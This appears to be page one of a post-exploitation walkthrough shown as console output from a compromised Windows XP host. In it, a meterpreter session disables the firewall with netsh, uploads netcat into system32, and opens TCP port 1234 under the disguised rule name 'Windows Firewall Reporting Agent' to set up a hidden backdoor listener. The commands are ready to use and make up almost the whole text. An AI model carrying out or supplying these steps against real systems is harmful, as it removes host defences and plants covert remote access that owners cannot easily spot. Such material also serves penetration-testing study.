You are on page 1of 2

(1) Running shell on Windows XP and DISABLE Firewall:

******************************************************

Microsoft Windows XP [Version 5.1.2600]


(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>Netsh firewall set opmode disable # Disable FireWall
netsh firewall set opmode disable
Ok. # It's OK - FireWall
is OFF
C:\WINDOWS\system32>exit

(2) In the next step we return to meterpreter and upload netcat to Windows XP:
******************************************************************************

meterpreter > upload c:\\tools\\nc.exe c:\\windows\\system32\\ # Upload netcat


from my local machine to windows xp
[*] uploading : c:\tools\nc.exe -> c:\windows\system32\
[*] uploaded : c:\tools\nc.exe -> c:\windows\system32\\nc.exe # Upload status �
Ok

(3) Open new TCP Port � No.1234


*******************************

Microsoft Windows XP [Version 5.1.2600]


(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>netsh firewall show opmode # show firewall status


netsh firewall show opmode

Domain profile configuration:


-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable

Standard profile configuration (current):


-------------------------------------------------------------------
Operational mode = Disable # firewall is OFF
Exception mode = Enable

Local Area Connection firewall configuration:


-------------------------------------------------------------------
Operational mode = Enable

C:\WINDOWS\system32>netsh firewall set opmode mode = enable exceptions = enable


profile = all
netsh firewall set opmode mode = enable exceptions = enable profile = all
Ok. # Firewall is On and excepions enable

C:\WINDOWS\system32>netsh firewall add portopening TCP 1234 "Windows Firewall


Reporting Agent" enable all
netsh firewall add portopening TCP 1234 "Windows Firewall Reporting Agent" enable
all
Ok. # Open TCP port 1234

C:\WINDOWS\system32>netsh firewall show portopening


netsh firewall show portopening
Port configuration for Standard profile:
Port Protocol Mode Name
-------------------------------------------------------------------
1234 TCP Enable Windows Firewall Reporting # my new port
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service

You might also like